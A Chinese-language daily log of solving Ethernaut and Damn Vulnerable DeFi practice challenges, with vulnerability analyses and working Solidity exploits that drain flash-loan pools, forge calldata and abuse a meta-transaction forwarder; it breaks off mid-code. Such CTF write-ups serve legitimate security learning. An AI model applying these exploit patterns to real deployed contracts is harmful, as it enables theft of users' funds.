      • 需要寫一個合約,呼叫 construct0r() 使自已的合約(msg.sender)成為 owner
    • gateTwo(),使 allowEntrance 為 True
      • 需要呼叫 trick.checkPassword(_password) 並使它返回 True
      • trick 此時還沒被賦值,所以要先呼叫 createTrick() 使 trick 被 new 出來
      • 然後,再呼叫 SimpleTrick.checkPassword(_password)
        • password 是 private 的,所以我們不太能直接用 Solidity 呼叫得到
        • 但我們可以用 eth_getStorage 先在鏈下拿到 password
        • 意味著我們要先呼叫 GatekeeperThree.createTrick() 再執行一系列操作
      • gateThree() 要求 GatekeeperThree 合約至少有 0.001 ETH 以上
        • 並且轉回來給攻擊合約是失敗的
        • 這意味著我們要寫一個 receive() 函數,裡面返回 False
        • 我們可以直接用 revert() 來做到 .send() 會返回 False 這件事
    • 解法整理:
      • 寫一個攻擊合約
      • 攻擊合約會先呼叫 GatekeeperThree.createTrick()
      • 然後用 eth_getStorage 獲取到 SimpleTrick.slot2 的內容值,作為 password
      • 呼叫 GatekeeperThree.getAllowance(password)password 帶進去
      • 呼叫 GatekeeperThree.construct0r() 使攻擊合約成為 owner
      • GatekeeperThree 0.001 以上的 ether
      • 攻擊合約也需要寫一個 receive() 函數,裡面只有寫了一行 revert()
      • 完成,呼叫 enter() 來過關!
  • Ethernaut28-GatekeeperThree.sh

  • Ethernaut28-GatekeeperThree.s.solzz

過程中好像 Submit Instance 按太快,導致關卡通過一直失敗,一頭霧水XD

2024.09.09

  • 繼續進行每日解一題挑戰

[Ethernaut-29] Switch

主要是考 Calldata 的 Layout 的一題,不難,值得一看。

  • 破關條件:使 switchOn 為 True。

  • 解法:

    • 為了使 switchOn 為 True,我們必須使 Switch 合約自己呼叫 turnSwitchOn() 函數
    • 由於存在 onlyThis modifier 的關係,我們唯一的進入點是 flipSwitch(bytes memory _data) 函數
    • 我們必須透過 .call(_data) 來調用 turnSwitchOn() 但同時通過 onlyOff 的檢查
    • onlyOff 會檢查從 calldata 起開始算,第 68 bytes 到第 72 bytes 必須是 turnSwitchOff() 的 selector。(也就是 0x20606e15)
  • 我們可以試著把 flipSwitch(bytes memory _data) 拆解出來,看它的整段 calldata 預計會長什麼樣子:

  • 每一行都是一段 32bytes 資料

30c13ade                                                         # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # 暫時留空,待會填入
???????????????????????????????????????????????????????????????? # 暫時留空,待會填入
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
  • 好的,我們找到 turnSwitchOff() 要塞在哪裡了,接下來要把 bytes memory _data 的偏移量(offset)和長度(length)填進去
  • 偏移量是什麼?偏移量代表從 calldata 的起點,要離多遠才會指到 bytes memory _data 的長度(length)
  • 記住: 動態資料結構的 Layout 是 offset + length + data
30c13ade                                                         # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000020 # bytes memory _data 的偏移量。從 0 點加上 32 bytes 可以指向 length 所以是 0x20
0000000000000000000000000000000000000000000000000000000000000004 # bytes memory _data 的長度,總長度只有 4 bytes
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
  • 好的,目前我們已經可以成功通過 onlyOff 的檢查了。可是我們要怎麼利用 address(this).call(_data) 來呼叫到 turnSwitchOn() 函數呢?
  • 我們可以回頭整理一下,目前 _data 會是什麼資料:
0000000000000000000000000000000000000000000000000000000000000020 # bytes memory _data 的偏移量。從 0 點加上 32 bytes 可以指向 length 所以是 0x20
0000000000000000000000000000000000000000000000000000000000000004 # bytes memory _data 的長度,總長度只有 4 bytes
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
  • 誒...既然程式不會對偏移量資料長度做任何檢查,是不是意味著我們可以直街操縱偏移量和長度,使它執行我們想要執行的任何函數呢?
  • 畢竟只要不動到 turnSwitchOff() calldata 的位置就好了,動到它就通過不了 onlyOff 的檢查了。
  • 試著自己構造看看:
30c13ade                                                         # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的偏移量,暫時留空,待會填入
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的長度,暫時留空,待會填入
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
???????????????????????????????????????????????????????????????? # 暫時留空,待會填入
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
  • 好的,現在把呼叫 address(this).call(_data) 裡面的 _data 的前 4 bytes 放進來了
  • 接下來一樣需要調整這一段 _data 的總長度:
30c13ade                                                         # flipSwitch(bytes memory _data)
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的偏移量,暫時留空,待會填入
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的長度,暫時留空,待會填入
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
0000000000000000000000000000000000000000000000000000000000000004 # 這裡代表 turnSwitchOn() 的 4bytes 長度
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
  • 有了 address(this).call(_data)_data 的長度之後,需要再調整 offset
30c13ade                                                         # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000060 # bytes memory _data 的偏移量,跳轉到加料過的 calldata 長度定位點
???????????????????????????????????????????????????????????????? # 原先 bytes memory _data 的長度,暫時留空,待會填入
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
0000000000000000000000000000000000000000000000000000000000000004 # 這裡代表 turnSwitchOn() 的 4bytes 長度
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
  • 原先 bytes memory _data 的長度,已經不重要了,因為我們已經用新的長度定位點來取代
  • 所以留空就好
  • 最後我們得到:
30c13ade                                                         # flipSwitch(bytes memory _data)
0000000000000000000000000000000000000000000000000000000000000060 # bytes memory _data 的偏移量,跳轉到加料過的 calldata 長度定位點
0000000000000000000000000000000000000000000000000000000000000000 # 原先 bytes memory _data 的長度,已經不重要,亂填都可以
20606e1500000000000000000000000000000000000000000000000000000000 # turnSwitchOff()
0000000000000000000000000000000000000000000000000000000000000004 # 這裡代表 turnSwitchOn() 的 4bytes 長度
76227e1200000000000000000000000000000000000000000000000000000000 # turnSwitchOn()
  • 最後我們用來發起呼叫 flipSwitch(bytes memory _data)_data 就是:
bytes memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"

2024.09.10

  • 繼續進行每日解一題挑戰

[Ethernaut-30] HigherOrder

2024.09.11

  • 繼續進行每日解一題挑戰

[Ethernaut-31] Stake

  • 過關條件:

    1. Stake 合約內的以太幣餘額大於 0
    2. totalStaked 必須大於 Stake 合約的以太幣餘額
    3. 我們必須成為一個 Stakers
    4. 我們的 UserStake 必須為 0
  • 解法:

    • 這個合約是 Solidity 0.8.0 編譯的,所以 overflow/underflow 看起來是不可行了
      • 所以看起來 StakeETH() 沒什麼漏洞
    • Unstake() 看起來有一個小問題: 沒有要求 bool success 必須為 True
    • 0xdd62ed3eallowance(address,address)
    • 0x23b872ddtransferFrom(address,address,uint256)
    • 由於沒有給出 WETH 的代碼,我們就先樂觀地假定它是一個正常的 ERC20 合約,漏洞不出在它身上
    • (,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this))); 這邊沒有檢查 call 是否成功,只有把 return value 當作 uint256 做後續處理
    • 由於不清楚 WETH.allowanapprovece(address,address) 的具體實現方式,所以我們也不知道 allowance 究竟會是什麼值
    • 但是題目說明提示我們要看 ERC20 的實現方式,我們可以樂觀的認為 WETH 應該也是個繼承了 ERC20 的合約
    • bytesToUint(bytes memory data) 函數看起來也挺正常的,漏洞應該不在這裡。
    • (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount)); 沒有檢查 transfered 是否成功,即便 transfered == false 也給過!!!
    • 這意味著我們有沒有 WETH 都沒差
      • 從這一個思路往下看,似乎也沒有任何地方聲明有發給我們一些 WETH
    • 那我們就可以從這一點開始思考怎麼建構 exploit 了
  • 解法總結:

    • 使用我們自己的 EOA 錢包
      • 呼叫 StakeETH{value: 0.001 ether + 1}() 來滿足條件 1 和 3
      • 呼叫 Unstake(amount=0.001 ether + 1) 來滿足條件 4,但同時取消滿足了 1
      • 目前只有滿足 3 和 4,我們先來思考怎麼滿足條件 2
    • 寫一個合約 (為了不要使用 EOA 錢包,保持滿足條件 4)
      • 呼叫 StakeWETH(amount=0.001 ether + 1) 來滿足條件 2
        • 在這之前會需要呼叫 approve(address,uint256)
      • 呼叫 StakeETH() 然後在 Unstake() 來滿足條件 1
        • 記得要保留 1 wei 在裡面才能滿足條件 1
    • 把合約 destruct() 掉,把過程中用到的 0.001 ether 轉回來給 EOA
  • Ethernaut31-Stake.sh

  • Ethernaut31-Stake.s.sol

2024.09.12

  • 繼續進行每日解一題挑戰

[DamnVulnerableDeFi-01] Unstoppable

  • 過關條件: 使 _isSolved() 通過執行
  • 合約代碼解讀筆記:
    • _isSolved() 的代碼注視我們可以觀察到,我們需要使 Monitor.checkFlashLoan()vault.flashLoan() 拋出 Error
      • 這樣才能使 Vault 被 paused 並且 transferOwner 給 deployer
    • 所以,我們基本上只需要重點關注 Vault.flashLoan() 裡面的漏洞即可,其他的程式碼大概都是煙霧彈
    • 有四個地方可以讓 Vault.flashLoan() 執行過程中拋出錯誤
      1. revert InvalidAmount(0);
      2. revert UnsupportedCurrency();
      3. revert InvalidBalance();
      4. revert CallbackFailed();
    • revert InvalidAmount(0); 這個不可能,因為 Monitor 已經在這裡把 amount 寫死了
    • revert UnsupportedCurrency(); 也不可能,因為 Monitor 一樣在這裡寫死了,這裡的 .asset() 是一個 immutable,完全沒有操縱的可能性
    • revert CallbackFailed(); 基本上也不太可能
      • 因為看起來 Monitor.UnexpectedFlashLoan() error 也基本上沒辦法被 Vault 合約觸發到
    • 唯一比較有機會的感覺是觸發 revert InvalidBalance();
    • 這可能會需要我們操縱 balanceBefore
    • 順帶一提,有 balanceBefore 但是沒有 balanceAfter 本身感覺就蠻奇怪的
    • 已知 balanceBefore 可以視為 asset.balanceOf(address(this))
    • 即: 在 Vault 提供呼叫者 flashLoan 之前,Vault 持有多少個 asset
    • 現在思考的點: 如何使 Monitor 在呼叫 Vault.flashLoan() 的時候,使 convertToShares(totalSupply) != balanceBefore 返回 True?
    • 我們從 Vault 的程式碼中可以觀察到一件事: 這個合約基本上不存在對 ERC4626 的 supply 和 shares 的額外操作
    • 那麼就意味著沒意外的話,我們可以認為 convertToShares(totalSupply)樂觀地假定返回值會始終等於 Vault 合約持有的 DVT 代幣數量
    • 但萬一 Vault 持有的 DVT 代幣數量已經被操縱了呢?那麼 convertToShares(totalSupply) 的返回值就會和 Vault 合約實際持有的 DVT 代幣數量對不上
    • 對不上的話,任何人來呼叫 Vault.flashLoan() 就都會拋出 InvalidBalance() Error
  • 解法整理:
    • 利用關卡一開始發給我們的 10 顆 DVT 代幣
    • 把這 10 顆 DVT 代幣轉帳給 Vault 合約
    • 使它 convertToShares(totalSupply) == balanceBefore == asset.balanceOf(address(this)) 對不上來
    • 對不上來的時候,就會讓任何人(包含Monitor)呼叫 Vault.flashLoan() 時,拋出 revert InvalidBalance();
    • 當 Monitor 遇到 revert InvalidBalance(); error 的時候,就會把 Vault paused 掉、把 owner 轉回給 deployer
  • 解法代碼:
function test_unstoppable() public checkSolvedByPlayer {
    token.transfer(address(vault), 10e18);
}
  • 心得: 哎呀,解法其實超簡單,Damn Vulnerable DeFi 系列感覺是花更多時間在理解題目的代碼在寫什麼,蠻考驗 Code Review/Audit 的能力...

  • DamnVulnerableDeFi-01-Unstoppable.t.sol

2024.09.13

  • 繼續進行每日解一題挑戰

[DamnVulnerableDeFi-02] Naive receiver

  • 過關條件: 把 NaiveReceiverPoolFlashLoanReceiver 合約的 WETH 餘額全部轉到題目指定的 recovery 帳號
    • NaiveReceiverPool 有 1000 顆 WETH
    • FlashLoanReceive 有 10 顆 WETH
  • 合約代碼解讀筆記:
    • 從題目名稱來猜測,這題大概率是一個"輸入參數未經驗證"之類的漏洞
    • 既然要榨乾 NaiveReceiverPoolFlashLoanReceiver 合約的餘額,那首先看一下有沒有相關代碼可以觸發這件事
    • 只有三個地方可以做到這件事:
      1. flashLoan() 函數的 weth.transfer(address(receiver), amount);
      2. flashLoan() 函數的 weth.transferFrom(address(receiver), address(this), amountWithFee); 可以把 FlashLoanReceiver 合約的餘額轉走
      3. withdraw() 函數的 weth.transfer(receiver, amount);
    • NaiveReceiverPool 合約的 external 函數都沒有什麼訪問限制(沒有modifier),只有驗證傳入的 token 是否為 WETH 而已
    • FlashLoanReceiver 看起來有一個可能觸發 overflow/underflow 的地方 amountToBeRepaid = amount + fee;
      • 但是,實際上好像沒什麼用。
      • 原本想讓 FlashLoanReceiver approve 10 顆 WETH 給 NaiveReceiverPool,然後 NaiveReceiverPool 就有 1000 + 10 WETH 可以被轉走。
      • 這條路看起來是行不通的。畢竟 Pool 只是 transferFrom 了原本發起的借款額 + 1 顆 WETH,FlashLoanReceiver 原本持有的 10 顆還是會繼續留在 FlashLoanReceiver
    • 那麼,要把 FlashLoanReceiver 的 10 顆 WETH 榨乾,看起來只剩下透過 flashLoan()FIXED_FEE,一點一點地把 Receiver 的 WETH 轉到 Pool 去。
    • 所以 FlashLoanReceiver 需要發起 10 次 flashLoan() 來把自己的 WETH 當作 Fee 被 Pool 收繳走
    • 然後我們再來想辦法把 NaiveReceiverPool 持有的 WETH 榨乾。
    • 要把 NaiveReceiverPool 持有的 WETH 榨乾,從剛剛的分析我們可以知道透過 flashLoan() 基本上是行不通的。
      • 因為即使 transfer() 1000 顆走,還是會被 transferFrom() 1000+1 顆回來
    • 所以唯一的路剩下 withdraw()
    • 我們先看 totalDeposits -= amount; 是否可能不夠扣
    • 在 deploy NaiveReceiverPool 的時候,totalDeposits 也增加了 1000 顆 WETH
    • 所以,totalDeposits 應該會是 (部署時放進去的 1000 顆 WETH + NaiveReceiver 被收繳的手續費 10 顆 WETH)
      • 也就是說 totalDeposits 至少有 (1000 + 10)e18
      • 足夠讓我們發起 withdraw(amount=1010e18)
    • 再來要思考 deposits[_msgSender()] -= amount; 中存在的漏洞
    • _msgSender() 的代碼 中我們可以觀察到,當 caller 是 BasicForwarder 合約的時候,我們就有機會操縱 _msgSender() 的返回值
    • BasicForwarder 基本上是要我們建構基於 EIP712 簽名過的 Request,然後 BasicForwarder 合約就會幫我們代為呼叫 Request
    • Request 裡面要塞什麼?
      • 利用 multicall() 幫我們做一系列動作
        • 呼叫十次 flashLoan(receiver=FlashLoanReceiver, token=WETH, amount=1e18, data="") 函數 (為了把 Receiver 持有的 WETH 透過手續費的方式給到 Pool)
        • 用 low-level call 的方式,呼叫 withdraw(amount=1020e18, receiver=tx.origin),並且在 calldata 內附加 deployer 的地址
          • 必須用 low-level call 的方式,才能使 _msgSender() 返回 deployer 的地址
          • 以便於通過 deposits[_msgSender()] -= amount;
    • 怎麼把 Request 塞給 BasicForwarder.execute(Request calldata request, bytes calldata signature)
      • request.from 是自己
      • request.target 當然是 pool
      • request.value 雖然可以使用 payable 但這邊用不到,所以塞 0 即可
      • request.gas 隨便塞個大數都可以,就塞 3000m 好了
      • request.nonce 因為我們在 Foundry 玩,用的是 test account,所以塞 0 就好
      • request.data 按照上述所說,組成一個 multicall() 的呼叫
      • request.deadline 不重要,給個大數或 block.timestamp 都可以
    • 最後再依照 EIP712 的標準,算出 signature,應該就可以調用 BasicForwarder.execute() 來通過了

將上述的解題想法組成一部分偽代碼

  1. 先組建 NaiveReceiverPooll.multicall(bytes[] calldata data) 的 ABI Calldata
# 已知會有 10 + 1 組 data

# 前 10 組 - 用來把 receiver 的 WETH 透過手續費的方式,轉給 pool
# flashLoan(receiver=FlashLoanReceiver, token=WETH, amount=1e18, data="")
data[0] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[1] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[2] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[3] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[4] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[5] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[6] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[7] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[8] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[9] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
data[10] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(WETH), 1e18, bytes("")))
# 第 11 組 - 利用 _msgSender() 藏的後門,把 pool 的資金全部提走
# withdraw(amount=1010e18, payable receiver=player) + address(deployer)
data[11] = abi.encodeCall(pool.withdraw, (1000e18+10e18, payable(player)), deployer)
  1. NaiveReceiverPooll.multicall(bytes[] calldata data) 組成一個 BasicForwarder.Request
BasicForwarder.Request({
  from: player,
  value: 0,
  gas: 30000000,
  nonce: 0,
  data: abi.encodeCall(pool.multicall, data),
  deadline: type(uint256).max
})
  1. 算出 BasicForwarder.Request 的 signature
digest = keccak256(abi.encodePacked(
  "\x19\x01",
   forwarder.domainSeparator(),
   forwarder.getDataHash(request)
))

(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);
bytes memory signature = abi.encodePacked(r, s, v);
  1. 執行 BasicForwarder.execute(request, signature);
  2. 現在 player 應該持有所有的 WETH 了,轉去 recovery 帳號去,破關

解答程式碼:

import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";

function test_naiveReceiver() public checkSolvedByPlayer {
   bytes[] memory data = new bytes[](11);
   BasicForwarder.Request memory request;
   bytes memory signature;

   //---------------

   data[0] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[1] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[2] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[3] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[4] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[5] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[6] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[7] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[8] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[9] = abi.encodeCall(pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1e18, bytes("")));
   data[10] = abi.encodePacked(abi.encodeCall(pool.withdraw, (1010e18, payable(player))), deployer);

   //---------------

   request = BasicForwarder.Request({
      from: player,
      target: address(pool),
      value: 0,
      gas: 30000000,
      nonce: 0,
      data: abi.encodeCall(pool.multicall, (data)),
      deadline: type(uint256).max
   });

   //---------------

   bytes32 digest = keccak256(abi.encodePacked(
      "\x19\x01",
      forwarder.domainSeparator(),
      forwarder.getDataHash(request)
   ));

   (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest);

   signature = abi.encodePacked(r, s, v);

   //---------------

   forwarder.execute(request, signature);
   weth.transfer(recovery, 1010e18);
}

2024.09.14

  • 繼續進行每日解一題挑戰
  • 今天這一題 Truster 的解法比較簡單,解法也比較快
  • 所以另外花了時間複習了一下昨天解題需要知道的 EIP712 標準

[DamnVulnerableDeFi-03] Truster

  • 過關條件: 把 TrusterLenderPool 合約持有的 DVT 代幣餘額榨乾

  • 解法:

    • 這一題的合約代碼簡單許多,只有 TrusterLenderPool.flashLoan() 需要關注
    • 所以漏洞肯定藏在 TrusterLenderPool.flashLoan() 裡面
    • flashLoan() 有個限制: 閃電貸之後,balance 必須大於 balanceBefore
      • 並且這個函數有重入保護
    • 所以唯一可疑的地方就在 target.functionCall(data)
    • 此處的 target.functionCall(data) 是一個非常明顯很不安全的作法
    • 一般來說,正常的閃電貸應該會是 callback 到調用者的 context 裡面,讓調用者(borrower)來決定拿到貸款後要做什麼操作
    • 可是這邊,很明顯的是TrusterLenderPool 代為操作
    • 即: TrusterLenderPool 存在任意代碼執行漏洞
    • 所以我們現在知道,我們可以以 TrusterLenderPool 的身份,去執行我們想做的任意 Operations
    • 那麼現在問題在於,我們應該怎麼透過這個漏洞把 DVT token 偷走呢?有 balanceBefore 檢查耶
    • 答案就是利用 ERC20.approve(),讓 TrusterLenderPool 給我們的帳號授予 spender 轉帳權限就好了
  • 先構造解答程式碼出來:

function test_truster() public checkSolvedByPlayer {
    uint256 amount = 1;
    address borrower = address(pool);
    address target = address(token);
    bytes memory data = abi.encodeWithSignature("approve(address,uint256)", player, type(uint256).max);
    pool.flashLoan(amount, borrower, target, data);
    token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
}
  • 你會發現這時候執行 forge test --match-path test/truster/Truster.t.sol -vvvv 是會得到 revert 的
  • [FAIL. Reason: Player executed more than one tx: 0 != 1] test_truster()
  • 因為題目要求我們必須只能用一個 transaction 來解答
  • 但我們可以偷偷把 assertEq(vm.getNonce(player), 1) 註解掉
  • 再次執行,是會成功運行的,代表我們的漏洞利用思路是正確的
  • 只差要把 Exploit 寫成一個 Contract,再丟去執行即可
  • 所以我們再次修改 Exploit Code 即可
function test_truster() public checkSolvedByPlayer {
    new Exploit(token, pool, recovery, TOKENS_IN_POOL);
}

contract Exploit {
    constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery, uint256 TOKENS_IN_POOL) {
        uint256 amount = 1;
        address borrower = address(pool);
        address target = address(token);
        bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max);
        pool.flashLoan(amount, borrower, target, data);
        token.transferFrom(address(pool), recovery, TOKENS_IN_POOL);
    }
}

2024.09.16

  • 繼續進行每日解一題挑戰

[DamnVulnerableDeFi-04] Side Entrance

  • 過關條件: 把 SideEntranceLenderPool 合約持有的 1000 顆 ETH 偷走,轉到 recovery 帳號
  • 解法:
    • 這題有點水,直接講解法
    • 我們只要發起 flashLoan() 呼叫
    • IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); 的 callback context 中,呼叫 deposit() 把閃電貸借款直接存進去
    • 因為 SideEntranceLenderPool 只是單純的檢查 flashLoan() 前與後的 balance,所以利用這種方式就可以讓我們憑空增加 balances[msg.sender]
    • 最後再呼叫 withdraw()SideEntranceLenderPool 合約的 ETH 幹走即可
function test_sideEntrance() public checkSolvedByPlayer {
    Exploit exp = new Exploit(pool, ETHER_IN_POOL);
    exp.start();
    payable(recovery).transfer(ETHER_IN_POOL);
}

contract Exploit {
    SideEntranceLenderPool pool;
    uint256 ETHER_IN_POOL;

    constructor(SideEntranceLenderPool _pool, uint256 _ETHER_IN_POOL) {
        pool = _pool;
        ETHER_IN_POOL = _ETHER_IN_POOL;
    }
    
    function start() external {
        pool.flashLoan(ETHER_IN_POOL);
        pool.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}

2024.09.18

  • 繼續進行每日解一題挑戰 -> 挑戰失敗🥲
  • 今天卡關,花了比較多時間在理解題目代碼
  • 先把解題紀錄寫下來,明天繼續補

[DamnVulnerableDeFi-05] The Rewarder

  • 過關條件:
    1. TheRewarderDistributor 合約的 DVT 代幣餘額低於 0.01 顆
    2. TheRewarderDistributor 合約的 WETH 代幣餘額低於 0.001 顆
    3. 上述資產都被轉到 recovery 帳號
  • 解法
    • 這一題的知識背景主要是 Bitmap 與 Merkle Tree
    • 先從 Merkle Tree 的部分開始看
    • 已知 Claimable Leaves 是 /test/the-rewarder/dvt-distribution.json/test/the-rewarder/weth-distribution.json 紀錄的內容
      • 每個 Leaf 存在 address 和可領取的 amount 元素
      • bytes32 leaf = keccak256(abi.encodePacked(address, amount));
      • 誰左誰右基本上是看 leaf 值誰大誰小
    • player 地址也有少量可領取的 distribution (見下方第一段程式碼)
    • 要達成過關條件,我第一個想到的是有沒有透過 clean(IERC20[] calldata tokens) 做到
      • 但我們必須要使 distributions 全部被發出去
    • 我們操縱的錢包,被限制在只能使用 player,所以沒辦法直接利用
      • 所以通過 if (distributions[token].remaining == 0) 基本上沒可能了,畢竟我們只能 claim player 的微量 distributions
    • createDistribution() 身上搞事也沒辦法,因為要把 DVT, WETH 偷走,想搞事會遇到 if (distributions[token].remaining != 0) revert StillDistributing(); 語句
    • 那麼可以搞事的地方就剩下 claimRewards()
    • 首先好奇的地方是: claimReward() 是如何判斷一個錢包地址已經 Claim 過了?有沒有可能存在 Double Claim 的可能性?
    • TheRewarderDistributor 採用了 Bitmap 資料結構來紀錄哪些 Claim 已經被 claimed 走了
    • 用 Bitmap 的好處是可以減少 Storage Slot 的冷存取,增加同一個 32 bytes 記憶體空間的熱存取次數
      • 因為可以把多個 Claim 紀錄,透過 Bitmap 塞在同一個 Storage Slot
    • 尤其 Bitmap 的特長是在紀錄 Binary 特性的紀錄,例如: 有領過 / 沒有領過
      • 也就是那些只需要用 1 bit 來紀錄有 or 沒有的資料
    • 如果說我們使用 mapping(address => bool) 來紀錄哪些地址領取過 distribution 會比較浪費空間
      • 畢竟一個 256 bit 的 storage slot 你只使用了 1 bit
    • Bitmap 想解決的問題是: 找到某種方法,讓我們可以在一個 256 bit 的 storage slot 塞入 256 個 bool flag,這樣就不浪費空間了
    • 具體來說,Bitmap 會需要將你的資料結構做分組
      • 可以想像成電影場次。
      • 第一場第n個座位、第二場第n個座位、第三場第n個座位。
    • 這個分組方式是取商數
      • 舉例來說,總共有 1000 個人想要排隊進場看電影
      • 但是每個影廳只能塞 256 人
      • 那麼第 873 人,就會排在 873/256 + 1 = 4 第四場次 (+1 只是為了人類可讀, 因為沒有第零場次這種說法...)
      • 第 257 人就會排在 257/256 + 1 = 2 第二場次
      • 第 555 人就會排在 555/256 + 1 = 3 第三場次
      • 前 256 人自然就是排在第一場次
    • bool 資料要放在哪裡,就會是取餘數
      • 舉例來說,總共有 1000 個人想要排隊進場看電影
      • 但是每個影廳只能塞 256 人
      • 那麼第 873 人,就會排在 873 % 256 = 105 第四場次第 105 號座位
      • 第 257 人就會排在 257 % 256 = 2 第二場次第 1 號座位
      • 第 555 人就會排在 555 % 256 = 43 第三場次第 43 號座位
    • 我們將商數的部分叫做 bucket,代表第幾場次
    • 我們將餘數的部分叫做 bit,代表在這 256 個座位中,坐在第幾號座位
    • 電腦如何為報到者做畫押簽到呢?取決於實施者,通常透過位元運算符來做到的
      • AND 運算符舉例
      • 我們去一個只能容納 8 個人的影廳,我的座位號碼是 5
      • 在清場的時候,座位沒人坐,所以座位的狀態是長這樣: 00000000
      • 我的座號是 5,從右邊數來,我應該是會坐在 00010000
      • 電腦如何為我簽到畫押? 當然是從最右邊向左移 5 個位置
      • 寫成程式就是: uint256 your_position = (1 << bit); 這邊的 1 代表我這個人的屁股確實坐下去了(?)
      • 電腦怎麼判斷我有沒有重複報到? 只需要做 AND 就可以知道了。
        • 因為我的屁股的狀態要馬是坐下去了,不然就是還沒坐
      • 寫成程式就是: bitmap._data[bucket] & mask) != 0
        • 如果是 == 1 就代表我重複了相同的狀態 -> 非法狀態 (已經進場了還要再進場一次)
    • 這一篇文章把 Bitmap 的代碼解釋的蠻好的,推一個
    • 回到題目程式碼,理解出 Bitmap 分組索引的實施在哪裏
    • _setClaimed() 函數主要有兩個作用
      1. 檢查給入的 Claim 物件是否重複 Claim 了,重複就會引發 revert AlreadyClaimed()
      2. Claim 物件設置為已領取
    • 已知有效的 tokenIndex 只有 01 分別代表 DVT 與 WETH
    • if (token != inputTokens[inputClaim.tokenIndex]) 這組語句我感覺很奇怪,因為首輪迴圈 token 基本上是 0x00
      • 所以應該不管怎麼樣都不太會碰到第一條 _setClaimed(token, amount, wordPosition, bitsSet) 才對
      • 我懷疑是煙霧彈...
    • 所以應該可以默認 if (address(token) != address(0)) 應該一定會返回 False 才對
    • 如果是 False, 接在下面的語句看起來是做好下一輪迴圈 token bitsSet amount 指向第一輪的正常值
    • 🤔 呃... 最詭異的地方居然是在最後一個 Claim 才呼叫 _setClaimed() 嗎...?
    • 感覺漏洞應該是出在這裡沒錯了,它只對最後一輪的 bitsSet 做已領取的設置
    • 前面的 Claim 通通都沒有 _setClaimed() 到,但是前面的每一個 inputClaim.amount 都轉給我們了
    • 也就是說,我應該可以發起傳入多個相同的 Claim。把合約的 DVT WETH 餘額榨乾
    • 已知 alice 地址的 Claim 會在 batch0-index2
    • 我們可以找到 player 地址的 Claim 會在 batch0-index189
function test_theRewarder() public checkSolvedByPlayer {
    console.log(player); // 0x44E97aF4418b7a17AABD8090bEA0A471a366305C
}
function test_theRewarder() public checkSolvedByPlayer {
    bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
